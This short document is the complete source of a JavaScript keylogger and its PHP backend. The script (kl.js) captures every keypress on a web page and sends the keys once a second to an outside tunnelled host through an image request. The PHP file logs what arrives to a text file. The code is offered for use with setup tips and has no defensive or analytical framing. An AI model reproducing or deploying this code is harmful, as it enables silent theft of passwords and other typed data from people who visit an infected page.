javascript keylogger

kl.js

var keys = '';
 
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}

//get a local tunneling service such as pagekite.me or ngrok
window.setInterval(function(){
    new Image().src = 'http://mysite.pagekite.me/keylogger.php?c=' + keys;
    keys = '';
}, 1000);

And this is the backend of the js keylogger

<?php
// keylogger.php

if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>